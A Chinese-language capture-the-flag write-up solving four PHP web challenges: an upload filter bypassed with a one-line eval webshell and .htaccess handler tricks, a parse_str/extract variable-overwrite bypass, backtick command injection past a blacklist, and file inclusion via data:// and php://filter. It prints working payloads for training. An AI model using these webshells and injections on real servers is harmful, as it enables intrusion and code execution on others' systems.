上传
1.打开就是一个文件上传页面

先随便上传一个php文件,看看能上传不

结果显示不能上传,将其修改为图片后缀再试一下

图片后缀可以上传成功,那么是做了后缀过滤,但是看到图片的内容只剩余了一个<? ,后面的内容全部都没了,应该是做了截断,如果检测到有 <? 出现,将后面的内容全部截断了,使用script标签看看可能绕过<?
<script language='php'>eval($_POST['cmd']);</script>

可以上传成功,但是访问的时候,发现没有解析成功

2.换一种方法
看到他的Server使用的是Apache的,可以使用htaccess解析文件上传
这里想到不能出现<?,所以使用的是先将木马给进行base64编码,然后再使用php伪协议进行解码,这样就能绕过 <? 了
这里的
SetHandler application/x-httpd-php 表示的意思是将当前目录和子目录下的所有文件都当成php来解析
php_value auto_prepend_file xx.jpg 表示的是 在主文件解析之前自动解析包含xx.jpg的内容

然后使用斜杠来绕过file关键字,成功上传了.htaccess

然后再上传一个和文件中的名字一样的base64木马,成功上传

然后访问/upload/sh.jpg

发现有回显,这样是解析成功了,然后蚁剑连接,在根目录下发现flag

3.知识点
这题主要考察的文件上传的.htaccess配置文件上传绕过
.htaccess是什么?他是Apache Web Server下的一个配置文件,当.htaccess 文件被放置在一个目录中时,该目录又 "通过Apache Web服务器加载" ,然后 .htaccess 文件被Apache Web 服务器软件检测并执行
.htaccess文件所在的目录及其子目录,若要启动 .htaccess配置文件,我们需要在服务器的主配置文件将AllowOverride 设置为All
SetHandler 指令可以强制所有匹配的文件被一个指定的处理器处理
SetHandler application/x-httpd-php
当前目录以及子目录所有文件都将会被当成php解析
AddType
AddType 指令可以将给定的文件扩展名映射到指定的内容类型
AddType application/x-httpd-php .png
会将png为后缀的文件当成php文件解析
php_value
.htaccess 文件允许你能够控制某个用户从你的站点(通过PHP)单次上传数据量的大小
php_value auto_prepend_file 1.txt 在主文件解析之前自动解析包含1.txt的内容
php_value auto_append_file 1.txt 在主文件解析之后自动解析1.txt的内容
参考链接:
https://www.freebuf.com/articles/web/328241.html
PHP是世界上最好的语言
1.打开先分析源码
<?php
//flag in $flag
highlight_file(__FILE__);
include("flag.php");
$c=$_POST['sys'];
$key1 = 0;
$key2 = 0;
if(isset($_GET['flag1']) || isset($_GET['flag2']) || isset($_POST['flag1']) || isset($_POST['flag2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($flag1 == '8gen1' && $flag2 == '8gen1') {
if(isset($_POST['504_SYS.COM'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\?/", $c)){
eval("$c");
}
}
}
?>
首先就是一个注释,提示flag在flag当中 ,然后还包含了一个flag.php文件,然后定义了一个变量c,用来接收POST传参的sys的值,下面定义了两个常量$key1和2其值都是0,然后就是一个if判断语句,如果检测到有GET或者POST传参的flag1和2,直接die退出,然后输出nonono
这个parse_str函数会将全局变量QUERY_STRING中的字符串解析到变量中
然后一个变量覆盖,会覆盖$_POST的值
然后if检查flag1和2的值是否为8gen1,如果满足就进入里面一层,if判断是否POST传参 504_SYS.COM,里面还一个正则表达式用来检查c的值,如果通过就eval执行$c的值
2.开始绕过
一共有两层
一层是禁止GET或POST传参flag1和2,所以不能直接传入
二层是检查$flag1和2是否为8gen1,然后再判断是否POST传参504_SYS.COM,还有检查POST传参的sys是否 有黑名单中的字符
也就是$_SERVER['QUERY_STRING']获取GET中的值,然后parse_str将其字符串解析成数组变量,然后extract在将post数组变量解析成普通变量
一层如何绕过
那么这个时候就能利用parse_str()函数了,这个函数作用是把字符串解析成变量
例如:?a=1&b=2 执行后变成 a =1 b =2
最关键的是,可以解析成数组形式
例如:?_POST[flag1]=8gen1,经解析后变成
_POST\['flag1'\] = 8gen1,这是在代码执行时才创建的,而一层的isset(_POST['flag1'])检测的是HTTP请求中的POST参数,所以我在GET传参那里使用
?_POST[flag1]=8gen1&_POST[flag2]=8gen1传参后
经parse_str函数解析后,就变成了一个名为$_POST的数组变量
$_POST['flag1'] = 8gen1
$_POST['flag2'] = 8gen1
然后再经过extract将POST中的数组变量变成了普通变量
就将_POST\['flag1'\] = 8gen1 执行后就变成了 flag1 = 8gen1 ,成功绕过第一层,进入到第二层
第二层如何绕过
检测是否有504_SYS.COM,直接随便填写一个值就行,这里的下划线使用 [ 代替,然后这里的 c会有正则表达式,但是上面提示了flag 在flag变量中,那么我直接var_dump查看这个变量不就行了
3.开始构造

成功获得flag
4.知识点
这题主要考验了
php变量覆盖 + parse_str + extract利用的绕过
parse_str() 函数把查询字符串解析到变量中
语法:
parse_str( string , array)
string 必需。规定要解析的字符串
array 可选。规定存储变量的数组名称
非常好绕的命令执行
1.开门源码
<?php
# -*- coding: utf-8 -*-
# @Author: ShawRoot
# @Date: 2022-07-21 08:42:23
# @link: https://shawroot.cc
highlight_file(__FILE__);
$args1 = $_GET['args1'];
$args2 = $_GET['args2'];
$args3 = $_GET['args3'];
$evil = $args1.'('.$args2.')('.$args3.')'.';';
$blacklist = '/system|ass|exe|nc|eval|copy|write|\.|\>|\_|\^|\~|%|\$|\[|\]|\{|\}|\&|\-/i';
if (!preg_match($blacklist,$evil) and !ctype_space($evil) and ctype_graph($evil))
{
echo "<br>".$evil."<br>";
eval($evil);
}
?>
定义了三个变量用来存放GET传参的args1、2、3,然后再使用字符串拼接将这三个变量和括号拼接到一起赋值给$evil
设置了一个黑名单,里面有很多命令和字符
然后正则表达式检查evil中是否有黑名单中的值,字符串不能全部由空白字符组成,然后字符串要全部由可见字符组成,里面不包含空格,也就是全部是可见字符且没有空格,然后通过了就echo输出 evil,然后eval命令执行$evil的值
2.开始绕过
先随便填入123三个值,看看是变成什么样

是这样的
看到黑名单中没有反引号,那么可以考虑使用反引号执行命令,然后echo输出出来,在第三位执行显然是不可能,那么就是args1使用echo将args2的反引号执行命令的值打印出来,然后args3那个括号就没用了,所以在args2的后面使用双斜杠注释掉后面的args3
也就是
args1=echo&args2=`ls`);//&args3=1

看到flag文件了
两种解法
一是使用cat,tac这些查看文件的命令,但是需要绕过空格
这里可以使用 < 来进行绕过

也就是
args1=echo&args2=`cat<flagggg`);//&args3=1

二是,直接使用文件查看命令
readfile来进行查看
args1=readfile&args2=flagggg);//&args3=1

网站被黑
1.打开首页

是一张被黑的机票,源码中也没看到啥,抓包看一下

给了一个Hint,是base32编码,解码得到一个路径

访问到第二关
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the 504sys")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag|data|base|write|input/i",$file)){
echo "I am sorry but no way!";
exit();
}else{
include($file); //imposible.php
}
}
else{
highlight_file(__FILE__);
}
?>
2.审计代码
两个GET参数,text和file,分别给text,file,然后if检测是否有text,然后读取text文件的内容,是否强等于welcome to the 504sys,如果等于就echo输出text文件的内容,然后进入正则表达式,里面检测的是file的值,如果命中就echo一段抱歉话,然后exit退出,否的话就include包含$file,后面提示了一个imposible.php文件
如何绕过
text可以直接使用data写入进去
?text=data://text/plain,welcome+to+the+504sys&file=php://filter/read=string.rot13/resource=imposible.php
然后这里的include值不会直接显示出来,我这里使用php伪协议的rot13编码成功输出flag

解码看到flag
